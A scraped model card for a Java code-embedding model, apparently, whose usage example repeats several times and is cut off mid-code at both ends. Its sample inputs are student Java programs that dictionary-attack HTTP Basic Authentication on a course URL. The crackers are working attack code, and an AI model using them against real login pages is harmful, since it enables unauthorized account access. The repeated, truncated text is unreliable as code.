(i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 